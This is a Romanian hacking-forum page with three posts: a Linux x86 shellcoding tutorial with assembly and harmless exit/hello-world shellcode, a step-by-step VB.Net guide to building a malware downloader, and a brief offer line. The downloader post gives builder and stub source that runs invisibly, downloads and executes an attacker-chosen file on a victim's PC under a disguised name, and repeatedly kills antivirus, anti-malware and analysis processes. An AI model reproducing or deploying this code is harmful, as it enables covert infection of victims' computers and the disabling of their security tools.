Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 11/01/10 in all areas

  1. Cu ceva in urma am intrebat pe forum ce inseamna shellcode, ce face el samd. Intrucat nu am fost suficient lamurit, m-am gandit sa ma documentez mai mult si asta a rezultat in urmatorul tutorial: 1. Introduction 1.1 Ce este shellcode-ul? In domeniul securitatii calculatoarelor, luat ad-literam, shellcode-ul inseamna scrierea de cod care returneaza un remote shell cand este executat. Intelesul cuvantaului, insa, a evoluat, in zilele noastre reprezentand orice cod care urmeaza a fi inserat intr-o vulnerabilitate cu scopul ca aplicatia exploatata sa indeplineasca anumite sarcini, altele decat si le-a dorit programatorul. 1.2 Prerechizite Ne vom concentra pe scriere de cod pt sistem linux cu arhitectura x86. Aceleasi metode si principii pot fi aplicate si pe diferite variante de UNIX sau Win32, dar trebuie avute in vedere diferentele intre conventiile pentru apelul functiilor de sistem. Pentru a scrie cod in limbaj de asamblare vom folosi nasm. Vom avea nevoie si de un debugger sau de un tool pentru citirea object code-ului cum ar fi objdump. 1.3 Care sunt diferentele intre shellcode-ul de pe Windows si cel de pe Linux? Spre deosebire de Windows, Linux-ul ofera o interfata directa cu kernel-ul prin intermediul intreruperii (sau instructiunii, depinde de interpretare) int 0x80. De cealalta parte, Windows-ul nu dispune de o interfata directa cu kernel-ul. Sistemul lucreaza prin incarcarea adresei functiei care trebuie executata dintr-un DLL (Diynamic Link Library). Principala diferenta dintre cele doua sisteme este faptul ca adresele functiilor din Windows variaza de la o versiune la alta a sistemului de operare, in timp ce int 0x80 ramane aceeasi. 1.4 Cum gasim adresele functiilor din DLL-uri? Exista o multime de cai de a gasi aceste adrese. Cele mai raspandite doua metode sunt: gasirea adresei functiei la runtime sau folosirea memoriei hard-codata. Singurul DLL care se mapeaza in mod sigur pe spatiul de adrese al shellcode-ului este kernel32.dll. Acest DLL contine LoadLibrary si GetProcAddress, functii necesare pentru obrinerea oricaror adrese de functii. 1.5 NULL bytes. Problema NULL bytes consta in faptul ca shellcode-ul nu trebuie sa contina bytes nuli si asta deoarece codul inserat (exploit-ul) este un string. Dupa cum se stie, stringurile se termina cu NULL byte (in limbaje precum C sau C++). Daca avem NULL bytes in shellcode, acesta nu va functiona. 2. Informatii de background ? EAX, EBX, ECX si EDX sunt registri generali pe 32 de biti pe arhitecturi 80x86. ? eax mai poarta numele de acumulator, fiind folosit pentru a stoca rezultate aritmetice, ebx – registru baza, folosit pentru adresarea bazata si indexata (baza si offset), ecx – registru numarator utilizat pentru cicluri, edx – registru data. ? ah, bh, ch, dh – registre pe 16 biti (registrele superioare) ? al, bl, cl, dl – registre pe 16 biti (registrele inferioare) ? esi, edi – registre pe 32 de biti folosite de obicei ca indecsi si pentru apelul functiilor de sistem pe Linux 3. Tool-uri necesare ? gcc - compilator de C ? ld – linker ? nasm – asamblor ? objdump – dezasamblor 4. Linux Shellcoding Cand se testeaza shellcode-ul, este frumos sa fie bagat intr-un program si lasat sa mearga. Programul C de mai jos este (si va fi) folosit pentru a testa shellcode-ul char shellcode[] = "bytecode will go here!"; int main(int argc, char **argv) { int (*shell)(); shell = code; shell(); } Exemplu 1 – Exit Program Cea mai facila cale de a incepe este folosirea functiei de sistem exit, pentru simplitatea ei. Codul asm: ;exit.asm [SECTION .text] global _start _start: xor eax, eax ;curata registrul eax (eax = 0x000000 mov al, 1 ;codul pentru functia de sistem exit este 1 xor ebx,ebx ;curata ebx int 0x80 ;si…activeaza! Compilarea si extragerea byte code-ului se face in trei pasi simpli: ~$ nasm -felf exit.asm ~$ ld -o exit exit.o ~$ objdump -d exit Si obtinem: exiter: file format elf32-i386 Disassembly of section .text: 08048080 <_start>: 8048080: b0 01 mov $0x1,%al 8048082: 31 db xor %ebx,%ebx 8048084: cd 80 int $0x80 Octetii care ne trebuie sunt: b0 01 31 db cd 80. Avemc codul in C: const char shellcode[] = “\xb0\x01\x31\xdb\xcd\x80“; int main(int argc, char **argv) { int (*shell)(); shell = code; shell(); } Exemplu 2 - Hello Cand sunt accesate valori statice (in special stringuri) din shellcode, trebuie ca acesta sa fie scris astfel incat sa acceseze valorile statice fara a folosi in vreun fel maparea adresei acestora, si asta pentru ca programatorul nu stie in ce zona de memorie este incarcat codul. Acelasi lucru se intampla si cand se incearca executarea instructiunilor care au ca operand memoria (jmp, call, etc). Din fericire, se poate folosi adresarea relativa cu ajutorul familiei de instructiuni jmp/call. Pentru inceput, cosul in asmblare, neoptimizat: SEGMENT .text mov eax, 4 ; pune in eax valoare 4 (codul functiei de sistem write) mov ebx, 1 ; pune 1 in ebx (codul iesirii stdout) mov ecx, message ; pune pointerul la string in eax mov edx, 29 ; pune 11 in edx (lungimea stringului) int 80h ; si…activeaza! mov eax, 1 ; pune 1 in eax (codul functiei de sistem exit) mov ebx, 0 ; pune 0 in ebx (int status) int 80h ; si…activeaza! message db ‘hello world', 7, 10 Se observa ca exista in cod NULL bytes si de asemenea nu este rezolvata problema independentei pozitiei. Pentru asta se recurge la urmatorul truc: SEGMENT .text xor ebx, ebx ; curata registrii mul ebx ; mov al, 4 ; pune 4 in eax codul (functiei de sistem write) inc ebx ; incrementeaza ebx => ebx = 1 (stdout, int fd) jmp short get_string ; Daca nu specificam sa faca un salt de 8 biti, nasm va face ; jmp near, ceea ce inseamna 16bit offset la eip, pe cand noi continue: ; avem nevoie de 1 octet pop ecx ; extrage pointerul de deasupra stivei la stringul ;nostru, in eax mov dl, 29 ; pune 11 edx (size_t len) int 80h ; si…activeaza! mov al, 1 ; pune 1 in eax (syscall number of exit) dec ebx ; decrementeaza ebx => ebx = 0 (int status) int 80h ; intra in modul kernel get_string: call continue ; salt la eticheta continue si incarca stringul ca ret db ‘hello world', 7, 10 ~$ nasm -felf hello.asm ~$ ld -o hello hello.o ~$ objdump -d hello write: file format elf32-i386 Disassembly of section .text: 08048100 <continue-0x9>: 8048100: 31 db xor %ebx,%ebx 8048102: f7 e3 mul %ebx,%eax 8048104: b0 04 mov $0x4,%al 8048106: 43 inc %ebx 8048107: eb 0a jmp 8048113 <string> 08048109 <continue>: 8048109: 59 pop %ecx 804810a: b2 1d mov $0x1d,%dl 804810c: cd 80 int $0x80 804810e: b0 01 mov $0x1,%al 8048110: 4b dec %ebx 8048111: cd 80 int $0x80 08048113 <get_string>: 8048113: e8 f1 ff ff ff call 8048109 <continue> 8048118: 6b 65 72 6e imul $0x6e,0x72(%ebp),%esp 804811c: 65 gs 804811d: 6c insb (%dx),%es:(%edi) 804811e: 65 64 3a 20 cmp %fs:%gs:(%eax),%ah 8048122: 61 popa 8048123: 72 65 jb 804818a <_etext+0x55> 8048125: 20 79 6f and %bh,0x6f(%ecx) 8048128: 75 20 jne 804814a <_etext+0x15> Shellcode-ul nostru este: "\x31\xdb\xf7\xe3\xb0\x04\x43\xeb\x0a\x59\xb2\x1d\xcd\x80\xb0\x01" "\x4b\xcd\x80\xe8\xf1\xff\xff\xffhello world\a\n"; Tutorialul l-am tradus si adaptat pe cat am putut de bine din engleza. Sursele originale le gasiti aici: http://infosecwriters.com/hhworld/shellcode.txt Writing shellcode Shellcoding for Linux and Windows Tutorial
    3 points
  2. Aici, acum, in momentul de fata si in topicul respectiv o sa va arat cum putem face un downloader + functia de process kill. Partea I. [ I ] Mai intai sa explic ce face fiecare. 1. Downloaderul - este format din doua executabile - un builder si un stub (cateodata builderul este si pe post de stub). Ce face fiecare lucru in parte ? - Builder-ul : introducem datele necesare cum ar fi : a) URL-ul fisierului respectiv gen http://www.exemplu.ro/fisier.exe (de retinut ca de obicei nu conteaza extensia fisierului, atata timp cat este salvat in PC-ul victimei cu aceeasi extensie). path-ul fisierului - unde sa fie salvat fisierul in PC-ul victimei. Exemplu : C:\Windows\Boot\scr32.exe - folositi un nume care nu bate la ochi gen 'jocuri_miniclip.exe'. c) numele fisierului - aici introduceti numele fisierului care va fi salvat in PC-ul victimei. - Stub-ul : este un fisier continand o bucata de cod, pe care o vom folosi in crearea fisierului rezultat, utilizand si datele introduse in builder. * de obicei, stub-urile sunt invizibile (opacity = 0%), nu apar in Taskbar [pentru necunoscatori > bara ce contine butonul Start (Windows) si cea cu butonul catre meniu (Linux - scuzati exprimarea greoaie, nu sunt utilizator)], si (majoritatea) apar in Task Manager la tab-ul Processes Deci ce face downloader-ul pana la urma ? Inchide antivirusul prin process killing (inchide procesul cu numele antivirusului), descarca fisierul introdus de voi si intr-un final in porneste. Simplu ! [ II ] Acum sa trecem la partea de codare ! 1. Builder-ul. a) cream un form. adaugam trei Label-uri*), trei Textbox-uri si un Button. *) - optional * asezarea lor depinde de voi. c) scrierea + explicarea codului (na ca am ajuns si aici) i) deasupra [Public class Form1] introducem codul urmator : Imports System.IO - ce face acest cod ? acest cod ne este necesar in VB.Net atunci cand folosim File Handling-ul - atunci cand scriem fisiere (modificarea Stub-ului). ii) sub [Public class Form1] introducem codul urmator : Dim stub, text1, text2, text3 As String Const Filesplit = "*pr00f*" - codul "Dim" ne ajuta la declararea variabilelor "stub", "text1", "text2" si "text3" - fara aceasta declaratie nu am putea folosi expresia de "stub" sau "text1", etc, fara intampinarea unei erori. - codul "Const Filesplit" ne ajuta sa declaram o constanta - fragmentul "= "*pr00f*"" a folosit la declararea constantei "Filesplit". Asadar, va arata cam asa codul pana acum : iii) click pe Button1 iv) adaugam simplu, codul urmator text1 = TextBox1.Text text2 = TextBox2.Text text3 = TextBox3.Text - aici, variabilele declarate la inceputul Form-ului, sunt folosite pentru a 'egala' fiecare "text" cu Textbox-ul lui. v) sub codul de mai devreme, adaugam urmatorul : Try FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default) stub = Space(LOF(1)) Catch stubload As Exception End Try - codul Try / End Try la propriu 'incearca' sa faca codul introdus in el. - codul "FileOpen" deschide fisierul "Stub.exe" in modul binar (OpenMode.Binary), cu accesul de Read (OpenAccess.Read - il citeste). - variabila "stub" declarata la inceput, este 'egalata' si ea, aici. vi) introducem codul : FileGet(1, stub) FileClose(1) - "FileGet" obtine fisierul - "FileClose" il inchide. vii) in cazul in care deja exista un fisier cu numele celui build-at (facut) - pasul urmator - si daca vrem (si da, vrem) introducem codul urmator : If File.Exists("Downloader server.exe") Then My.Computer.FileSystem.DeleteFile("Downloader server.exe") End If - declaratia If / End If ne ajuta sa folosim un cod daca ceva este cum precizam noi. in cazul de fata, daca fisierul "Downloader server.exe" exista ( File.Exists ), atunci sterge fisierul deja existent [ My.Computer.FileSystem.DeleteFile("Downloader server.exe") ] . viii) ultimul pas si cel mai important - deschiderea fisierului creat - Downloader server.exe - si scrierea lui. FileOpen(1, Application.StartupPath & "\Downloader server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default) FilePut(1, stub & Filesplit & text1 & Filesplit & text2 & Filesplit & text3 & Filesplit) FileClose(1) MsgBox("Downloader server built successfully.", MsgBoxStyle.Information) - "FileOpen" deschide fisierul scris, in modul binar, de data aceasta cu acces de citit si scris. - "FilePut" introduce stub-ul, filesplit-ul si variabilele "text" Felicitari, sunteti gata cu builderul ! Partea II. [ I ] Stub-ul 1. Creeam un form (bineinteles, mai intai un nou proiect) 2. In dreapta, la proprietatile Form-ului, setam Opacity - 0% si Show in Taskbar - False 3. Introduceti un Timer. 4. Coding. a) dublu click pe Form. ca la Builder, prima linie a codului trebuie sa fie urmatoarea : Imports System.IO - am explicat-o mai sus, daca nu stiti ce face, cititi acolo. c) sub "Public Class Form1" introducem : Dim options(), text1, text2, text3 As String Const Filesplit = "*pr00f*" - acum observam ca ne lipseste variabila "stub", deoarece nu mai avem nevoie de ea, dar ne-a aparut variabila "options()" - asigurati-va ca filesplit-ul sa fie identic cu cel de la builder - altfel n-o sa va mearga ! d) la Form1_Load introducem urmatoarele : Me.Visible = False Me.Hide() - aici ne asiguram ca Form-ul stub-ului nu o sa fie vizibil - chiar daca Form-ul nu este vizibil, facem stub-ul sa dispara, la propriu prin comanda "Me.Hide". e) pornim timer-ul : Timer1.Start - nu necesita explicatie codul asta f) deschidem fisierul : FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared) - codul "FileOpen" este explicat mai sus, la fel, recititi in caz ca ati uitat ce face. g) folosim variabilele si obtinem fisierul : text1 = Space(LOF(1)) text2 = Space(LOF(1)) text3 = Space(LOF(1)) FileGet(1, text1) 'options(1) - Textbox1 ileGet(1, text2) 'options(2) - Textbox2 FileClose(1) - variabilele in continuare vor fi folosite in ordinea in care sunt 'egalate' - am uitat sa precizez ce face comanda "Space(LOF(1))" - este necesara citirii / scrierii fisierelor in modul binar. h) 'egalarea' variabilei "options()" : options = Split(text1, Filesplit) FileClose(1) i) acum, codul necesar unui downloader : My.Computer.Network.DownloadFile(options(1), options(2) & options(3)) Process.Start(options(2) & options(3)) - "My.Computer.Network.DownloadFile" - cu un pic de engleza ne dam seama ca aceasta este comanda vitala - descarca fisierul. - "(options(1), options(2) & options(3))" : options(1) este URL-ul de unde va descarca fisierul, options(2) este path-ul unde va fi descarcat fisierul, iar options(3) este numele fisierului. j) crearea unui nou Sub. umm, crearea unei noi comenzi, sa fiu mai explicit. intre End Sub-ul de la Form1_Load si End Class, introducem codul urmator : Public Sub killProcess(ByRef strProcessToKill As String) Dim proc() As Process = Process.GetProcesses For i As Integer = 0 To proc.GetUpperBound(0) If proc(i).ProcessName = strProcessToKill Then proc(i).Kill() End If Next End Sub - Public Sub declara o noua comanda - "killProcess" - "Dim proc() As Process = Process.GetProcesses" : declaram proc() ca fiind proces, egalat cu Process.GetProcesses, care obtine procesele. - "proc.GetUpperBound" : formeaza un array (o lista) cu procesele. - "If proc(i).ProcessName = strProcessToKill" : selectarea procesului pentru inchidere - "proc(i).Kill()" : inchiderea procesului in sine. k) asigurati-va ca Timer1 are un interval destul de mic (1 - 10 milisecunde), pentru a fi mai eficace. dublu-click pe dansul (Timer1) si introduceti codul urmator : killProcess("keyscrambler") killProcess("egui") killProcess("bdagent") killProcess("outpost") killProcess("npfmsg") killProcess("ollydbg") killProcess("avp") killProcess("mbam") killProcess("anubis") killProcess("wireshark") - dupa cum vedeti, acestea sunt numele catorva antivirusi / software-uri antimalware ca Keyscrambler, MalwareBytes' AntiMalware si Wireshark. - de retinut : la fiecare 1 milisecunda (sau ce interval ati pus voi la Timer), acel Timer va inchide procesele respective din lista. Felicitari, sunteti gata si cu Stub-ul ! © pr00f = eu
    1 point
  3. Va rog, numai imi faceti offtopic! Cei interesati pm me si vorbim, pentru cei cu rank e free!
    1 point
×
×
  • Create New...